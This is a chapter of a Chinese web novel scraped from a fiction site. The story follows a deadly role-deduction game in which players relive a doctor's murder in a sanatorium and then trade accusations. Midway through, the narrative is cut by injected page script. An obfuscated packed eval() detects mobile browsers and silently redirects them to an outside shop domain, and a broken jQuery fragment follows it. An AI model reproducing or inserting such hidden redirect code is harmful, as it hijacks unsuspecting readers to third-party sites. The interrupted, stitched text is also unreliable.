文趣网 > 其他小说 > 贫道也不想跨界执法 > 13. 第 13 章
    主持人将七张牌背朝上的卡牌依次推到每个人面前。

    晏星梧低头看着自己面前那张牌。

    牌面上画着一个穿病号服的小人儿,头顶画着一个大大的红色问号,最上方印着两个字,【病人】。

    下方还有一行极小的字:【你的记忆因药物影响暂时缺失,身份详情将在剧情回溯阶段解锁。】

    病人。

    晏星梧把牌扣回桌面,暗自咬了下后槽牙。

    看起来像是那个特殊的身份。

    在这场游戏进行到回溯的节点之前,这张牌就相当于一张废纸。

    眼前还有隐隐约约的眩晕感,他闭了一下眼,让丹田里的光团转得快一些,他现在需要清醒,比任何时候都需要清醒。

    “所有人确认身份完毕。”主持人目光扫过全场,“在正式开始之前,我将宣布本局游戏的奖励与惩罚规则。”

    “游戏结束时,获胜方会获得以下奖励:第一,按人数平分3000金币。第二,疗养院身体机能提升卡每人一张。”

    【滴——温馨提示,金币可一比一兑换为游戏积分】

    双胞胎之中戴眼镜的的玩家挑了下眉,平分3000积分,那可真是不小的数目。

    “惩罚规则。”主持人脸上的笑容淡了一分,“游戏失败的一方,无论存活与否,将成为钱金金疗养中心的永久病人。”

    空气好像被压缩了一瞬。

    卷发男人把烟从左边嘴角换到右边嘴角,抖腿的动作比之前慢了半拍。

    “规则宣读完毕。”主持人双手交叠,“首轮夜班操作将在第一轮发言与投票结束后进行。现在,进入第一轮日班,按座位顺序,依次发言,每人一分钟。”

    他看向坐在桌子末端左手边第一位的卷发男人。

    “那么,就从你开始。”

    卷发男人把烟从左边嘴角换到右边嘴角,挺起了后背坐直,道:“自我介绍一下吧,我叫陆天骄。”

    他把烟从嘴里拿下来,夹在指间,朝桌面上的身份牌努了努嘴,“第一个发言着实没什么可说的,我呢,是好人阵营,具体什么职业,我还不能说。但我可以告诉你们,我这张牌上画了个白大褂。”

    他重新靠回椅背,扫视了一眼全场的其他玩家:“发言一分钟是吧?那我就说一分钟。我抽到牌之后,观察了一下你们的表情。”

    他的目光从病号服女人扫到微胖女孩儿脸上,最后落在红卫衣男人身上,“三号,你抽牌之后把牌拿得很近,看了很久,咱就是说,一个身份牌而已,几个字,需要看那么久?”

    他笑了一声,把烟从嘴里拿下来,在桌沿上磕了磕,道:“我说完了。”

    主持人看向病号服女人。

    “二号位。”

    病号服女人的手还攥着桌沿,她开口之前先吸了一口气,道:“我叫周岚,是病人牌之一。”

    她的目光落在自己面前扣着的身份牌上,没有看任何人,“那我也说说我看到的,我看到六号抽到牌之后手在抖,我不是说她一定是凶犯,但她的手确实在发抖。”

    她把脸前的头发别到耳后,“我也说完了。”

    主持人看向红卫衣男人。

    “三号位。”

    红卫衣男人低着头,帽子遮住大半张脸,安静了几秒,他才开口:“我叫方赛,是老玩家。”

    “我抽到牌之后看了很久,是因为我……由于之前的一些后遗症,我有时候,看东西会模糊,我得把牌拿近一点,一个字一个字的看,才能看清楚。”他把那只一直摸膝盖的手抬起来,摸着自己的角色牌,“我抽到的是病人阵营,牌上画了个穿病号服的。嗯……就这些了,发言完毕。”

    主持人看向双胞胎之中戴眼镜的男人。

    “四号位。”

    眼睛男人没有立刻开口,他将目光从自己的身份牌上抬起来,缓缓扫过在场所有人。

    “我叫沈临玉。”他说,“抽到牌之后,我花了大约三秒钟确认牌面信息。”

    他的笔尖在桌面上轻轻点了一下,看向一号。

    “对于一号我暂时没什么可说的,他看牌的速度很快,可能对自己的身份非常满意,也可能他根本不在乎抽到什么牌,我更倾向于前者。”他顿了顿,继续说,“二号看起来很紧绷,但我注意到她在进入这个院子之后精神一直没有放松过,这个也暂时不论。三号,他说眼睛看不清东西,我对此持怀疑态度,因为刚刚七号进来时他打量七号的样子完全不像是视力障碍。至于我的身份,我是医护,完毕。”

    三号方赛张最想要反驳什么,主持人眼里带着警告看向他,让他又不甘心地闭上了嘴。

    主持人看向身穿浅绿色毛衣的双胞胎之一。

    “好,我是五号,柏临深。”他向众人浅浅笑笑,温和的嗓音不紧不慢地陈述,“刚刚我哥说得很详细,那我就再补充几点,我看到六号看牌之后,她的肩膀线条绷紧了几秒钟,然后才慢慢放松,也许是她抽到的身份让她紧张了,但她用了某种方式让自己平静下来。至于七号,七号在一进门的时候我就发现他整个人的状态并不是很好,或许一会儿他可以为我们解释一下原因。我的话,我只能说,我是好人,但身份和四号不同,就这样。”

    六号位是那个微胖的年轻女孩儿,她十指紧握在一起,磕磕绊绊地发言:“我,我叫李悦,我不知道要怎么玩,我莫名其妙就被拽进来了,这游戏是什么东西,我不知道,不知道……我不是凶手!”

    主持人看向最后一个位置,七号位。

    “我叫晏星梧。”清润的嗓音缓缓道来,残余的一点眩晕感让他的语速比平时稍慢,但吐字很清晰,他说,“五号观察得很仔细,我其实是105号病房的病人,来到牌桌之前在进行其他任务环节,被喂了一次药,然后莫名其妙被带到了这里……说实在的,我现在依然有点晕,状态不好,见谅。”

    他轻咳了一声,又说:“刚刚,没顾得上观察诸位的反应,所以我的发言仅围绕我自己,我是好人,嗯。”

    主持人等他的话音落下,点点头,道:“第一轮日班发言结束,各位,可以投票了。”

    “所有人,三、二、一,请投票。”

    五票弃权,只有两只手真正伸了出来。

    一号陆天骄投了三号方赛,三号方赛投了四号沈临玉。

    主持人看了一眼票型:“弃票人数过多,本轮无人淘汰,直接进入回溯阶段。”

    陆天骄发出一声短促的轻笑:“这么多弃票?”他的目光从方赛扫到周岚,最后落在沈临玉脸上,“行,有意思,你们是真能沉得住气。”

    沈临玉没有看他,他把玩着手里的笔,和身边的柏临深对视一眼,不置可否。

    主持人继续道:“所有玩家将进入全息剧情体验,以第一人称视角经历金小元医生死亡当日发生在3号病区的全部事件。剧情回溯期间,各位无法交流,无法发动技能,仅能作为亲历者观察和感受。回溯结束后,你们会返回牌桌,继续第二轮夜班操作。”

    院子上方的天空一点一点蔓延上暮色,天光的面积越来越小,直到渐渐消失。

    青砖地面的缝隙里涌出灰白色的雾,雾气上升,逐渐吞没了所有人。

    回溯开始。

    晏星梧睁开眼。

    他看到自己站在一条走廊里,白大褂,听诊器,手里拿着一本病历夹,胸前的牌子上清晰地标明“主治医师晏星梧”。

    嗯?

    他怎么会是主治医师?

    他抽出病历夹翻开,第一页贴着值班表,日期栏里盖着今天的红戳,下面写着——

    三号病区。

    今日值班医生:金小元。

    今日值班护士:柏临深。

    柏临深。五号。

    原来他是护士长。

    晏星梧合上病历夹,抬起头。

    脚步声从他身后传来。

    一个穿着护工制服的卷发男人从走廊另一头走过来,双手插在裤兜里。

    他经过晏星梧身边时偏过头看了他一眼,脚步没停,只丢下一句:“晏医生,今天的白班不是你值班吧?你不是晚上吗?”

    是一号,陆天骄。

    晏星梧听到自己无奈的声音从嘴里发出来:“替金医生顶一班,他家里有事。”

    卷毛护工点了点头,调侃了一句“辛苦了晏医生,谁让咱们不是关系户呢”,脚步没停,往走廊尽头走去了。

    他的背影在闪烁的日光灯下一明一暗,走到107号病房门口时停了一下,透过观察窗往里看了一眼,然后继续往前走,消失在走廊拐角。

    下午,午休结束后,晏星梧准备查房,走廊另一头传来了推车的轮子声,一个穿着护士制服的男人推着器械车从拐角转出来,车上码着形形色色的药物和摆放整齐的输液瓶。

    他经过晏星梧身边时停了下来。

    “晏医生。”柏临深向晏星梧无奈笑笑,说,“107号房的病人今天下午又不肯吃药,护工去送药的时候他把纸杯打翻了,药片撒了一地,听说护工还挨了他一拳。”

    晏星梧低头看了眼病历夹,107号房,患者是方赛,入院日期三周前,诊断栏写着间歇性狂躁发作。

    病历本上的备注密密麻麻,拒药三次,言语攻击护工两次,上周四在活动室与另一名病人发生肢体冲突,被强制约束隔离一天。

    “今天下午的事是什么时候?”他问。

    “两点半多。”柏临深的手指在推车把手上轻轻敲了敲,“陆护工去送的药,回来的时候嘴角青了一块。我给他拿了个冰袋,他没要,说没事。”

    晏星梧点点头,柏临深也继续推着车走了。

    下午四点十七分,107病房传来一声巨响,伴随着玻璃杯碎裂的脆响和男人的怒骂。

    方赛打翻了护工陆天骄递来的药杯,药片撒了一地,他挥起拳头结结实实砸在了陆天骄的嘴角。

    陆天骄踉跄着后退两步,抹了把嘴角的血渍,没还手,只是冷冷地看了病房里的方赛一眼,转身回了护士站。

    三分钟后,护士长柏临深拿着冰袋走到陆天骄身边,低声说了句什么,把冰袋递了过去。

    陆天骄摆了摆手没接,靠在墙上扯了扯领口,眼神阴鸷地看向107病房的方向。

    下午五点整,金小元来到了医院。

    两人隔着护士站的台面站着,声音压得很低,却带着毫不掩饰的火药味,争执的核心是科室副主任的升职名额。

    院里已经定了,最终人选就在他们两人之间产生,金小元不仅手握核心项目,据说还是关系户,是板上钉钉的第一候选人,而晏星梧是他唯一的竞争者。

    “晏医生,替我值班你也别委屈,论资历论项目,你都没资格跟我争。”金小元把值班表拍在台面上,语气里满是不屑,“安安稳稳呆在你现在的位置上,晚上继续值你的班,别想那些有的没的。”

    晏星梧看着他,没说话,只是把手里的病历夹重重放在了桌上。

    这一幕,被折返回来拿药的柏临深,还有刚换完班的陆天骄,尽收眼底。

    下午五点零七分,203病房的癔症病人周岚突然急性发作,在病房里疯狂打砸,歇斯底里地尖叫着“我不许他走”。

    刚登记完值班记录的晏星梧第一时间冲进去处理,刚按住情绪失控的周岚,就被她反手抄起的金属保温杯狠狠砸中了太阳穴。

    一声闷响,晏星梧眼前一黑,直挺挺地倒在了地上,鲜血顺着额角往下淌,瞬间浸湿了白大褂的领口。

    闻声赶来的陆天骄和柏临深立刻冲进去制住了周岚,手忙脚乱地把昏迷的晏星梧抬进了观察室。

    等晏星梧再次醒来时,眼神空洞茫然,看着围在床边的人,连自己的名字都想不起来了。

    脑震荡加应激性失忆,诊断结果出来的那一刻,他的主治医生身份被立刻撤销,院里紧急调派了副主任沈临玉接替他后续的工作,今晚先由金小元医生代班。

    而失忆的晏星梧,被转入了105普通病房,从救死扶伤的医生,变成了疗养院里的一名病人。

    晚上八点,金小元回到了三号病区,接替原本晏星梧的夜班。

    他刚到护士站,就和来拿夜间用药的柏临深撞了个正着,柏临深提醒他107病房的方赛情绪依旧不稳定,夜间巡房要多加注意,金小元不耐烦地摆了摆手,只说自己知道了,然后进了医生办公室,再也没出来。

    十点,陆天骄完成了夜间病区的安全巡查,锁上了东西两侧的安全通道门,把钥匙放回了护士站的抽屉里。

    他经过107病房时,再次被里面的方赛叫住,方赛隔着铁门骂骂咧咧,说自己头疼要找医生,陆天骄冷着脸回了句“有事按呼叫铃”,就转身回了护工休息室。

    十一点,副主任沈临玉来到护士站,和护士长柏临深核对了当晚的用药记录,又去105病房看了一眼失忆的晏星梧,确认他已经睡着后,便离开了病区,全程没有和金小元碰面。

    凌晨十二点,病区的熄灯铃准时响起,除了走廊的应急灯,所有病房和办公室的灯都陆续熄灭。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17499256|202650||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    203病房里,癔症病人周岚又开始小声啜泣,嘴里反复念着“不许走”,值班的柏临深过去安抚了近二十分钟,才让她平静下来,回到护士站时,已经是凌晨十二点二十二分。

    凌晨一点,疗养院一楼突然跳闸,全部陷入了黑暗,等检修完成等再次亮起已经是一点一刻。

    凌晨一点二十分,护士站的呼叫铃突然疯狂响起,是107病房的方赛按的。

    柏临深立刻起身往病房走,刚到门口,就看到方赛捂着肚子蜷缩在地上,脸色惨白,说自己胃绞痛得厉害,要找值班医生。

    柏临深立刻用对讲机呼叫医生办公室的金小元,可连呼了三次,都没有任何回应。

    凌晨一点半,柏临深叫醒了休息室的陆天骄,两人一起往医生办公室走,办公室的门反锁着,无论怎么敲都没人应。

    陆天骄强行撞开了门,眼前的景象让两人瞬间僵在原地——

    金小元倒在办公桌后的地板上,额头被钝器砸出了一个深深的血洞,鲜血浸透了身下的地毯,早已没了呼吸。

    办公桌上的病历散落一地,窗户大开着,冷风卷着深夜的寒气灌进来,吹得纸张哗哗作响。

    凌晨两点,沈临玉接到电话赶回了病区,第一时间封锁了现场,同时报了警。

    他检查了现场,凶器是一把疗养院花园里园丁用的大钳子,上面没有任何新的指纹,金小元的死亡时间被初步判定在凌晨十二点半到一点半之间,办公室的门是从内部反锁的,窗户大开着,窗外的排水管上有新鲜的攀爬痕迹,初步判定凶手是行凶后从窗户翻出,顺着排水管逃离了现场。

    而当晚在病区内的所有人,都成了嫌疑人。

    画面到这里戛然而止。

    翻涌的灰白色雾气散去,四角的天空重新出现在头顶,青砖地面依旧冰凉,石桌上的卡牌泛着冷光,所有人都从回溯的剧情里抽离出来,重新坐回了牌桌前。

    晏星梧带着恍惚醒来,之前隐约的眩晕感彻底消失,所有记忆悉数进入脑海。

    原来如此。

    目前的状况委实有些棘手,他在别人看来也许是嫌疑最大的那一个。

    “回溯结束,第一轮夜班轮次正式开启。”

    主持人的声音落下,牌桌上的光线瞬间暗了下来,所有人的身影都被笼罩在黑暗里,看不到任何东西。

    一分钟转瞬即逝。

    光线重新亮起,六号位李悦的身影突然一寸寸变成飞灰,脸上带着惊诧和恐惧,全部消失前,她向桌子对面恨恨地看了一眼,一声惨叫都没发出来就彻底消失在了牌桌前。

    “哦呀,可怜的六号,被凶手残忍杀掉了。”主持人啧啧有声,“让我们看看六号是什么身份?啊,原来是清醒病人!”

    “好了,各位可以按序发言了。”主持人指节敲敲桌面。

    所有人的目光瞬间聚焦在陆天骄身上,他往前倾了倾身子,说:“凶手就在我们之间。”

    “我的身份是护工,我认为七号有问题,下午五点的时候,我和护士长亲眼看见他俩在护士站吵翻了天,就为了争抢升职名额,金小元还当众羞辱他,所以七号完全具有动机。”

    陆天骄顿了顿,话锋一转,道:“但我还是那句话,这一轮我依旧建议全票出三号。我还有件事比较好奇,就是二号为什么要袭击七号,发言完毕,二号请吧。”

    病号服女人周岚开口道:“我……我不是凶手,我也没有作案时间。”

    “为什么袭击七号,我不是故意的,上周四在活动室107号房的病人,就是三号,他突然冲过来抓住我,我被他刺激得精神状态一直不好,你们也看到了,那时候我癔症急性发作,被害妄想,已经分不清楚幻想和现实,我把七号当成了要来杀我的人,我是因为看到了一个拿着利器的黑影才发作的。”

    “砸伤七号之后,我被强制约束,绑在床上一直到晚上,八点之后我才被解开约束带,但病房门一直锁着。大家都看到了,当晚十二点熄灯之后,我的癔症发作,一直在病房里哭,柏护长一直在安抚我,他有记录,护士站的记录板上应该也有。他走了之后,一直到凌晨一点半听到外面的动静,我都没敢出门,全程都在病房里,根本没有时间去杀人。我说完了。”

    主持人抬了抬眼,目光落在三号位的方赛身上,冷声道:“二号发言完毕,三号位,请发言。”

    方赛猛地抬起头,头上一直戴着的卫衣帽子被他一把掀到脑后,露出一张布满戾气的脸,眼睛里布满红血丝,一开口就把矛头狠狠扎向了晏星梧,声音因为激动而尖利刺耳:“你们都被他骗了!七号!他才是真正的凶手!”

    他的手指死死指着晏星梧,说:“所有人都看见了!他和金小元事竞争关系!金小元抢了他的项目和晋升副主任的名额,当众羞辱他,他恨金小元,所以他的杀人动机最大!你们居然还怀疑我?”

    “还有!”方赛猛地转头看向周岚,眼神里带着威胁和诱导:“二号,你自己说,你癔症发作,是不是因为他?你砸伤他,难道不是因为你看清了他心里藏着杀心?他就是想借着你砸伤他这件事,装失忆洗清嫌疑!哪有那么巧的事?计划杀人的前几个小时,刚好就失忆了?骗鬼呢!”

    二号周岚被他吼得浑身一缩,深深低下头,垂下的头发遮住半张脸,让人看不清她的表情。

    三号这时又把矛头转向了一号陆天骄:“还有一号,你是不是有病?我下午打了你一拳,你就非要把脏水泼我身上?我是狂躁症发作,不是杀人狂!我被关在107病房里,铁门从外面锁着,我怎么出去杀人?怎么去花园拿钳子?怎么反锁医生办公室的门?只有他晏星梧可以!他是医生,有全病区的钥匙,熟悉医生办公室的布局,知道监控的盲区,甚至连总闸在哪都一清二楚!”

    他越说越激动,“六号李悦为什么死?因为她是清醒病人!她肯定看到了七号杀人的过程!所以晏星梧才连夜杀了她灭口!不然为什么不杀别人,偏偏杀一个全程没说过几句话的新人?”

    “我告诉你们,我就是个普通的病人,我和金小元无冤无仇,我根本没有杀他的理由!这一轮,我建议,全票挂七号,他才是真正的凶手!发言完毕!”

    方赛的话音落下,整个人还在大口喘着气,眼神凶狠地扫过全场,试图用气势压过所有人。

    沈临玉漫不经心地推了推鼻梁上的金丝边眼镜,镜片后的眼睛先扫了一眼面红耳赤的方赛,嘴角勾起一抹带着嘲讽的笑,他开口道:“三号不必如此激动,在这里并不是谁声音大谁就有理。”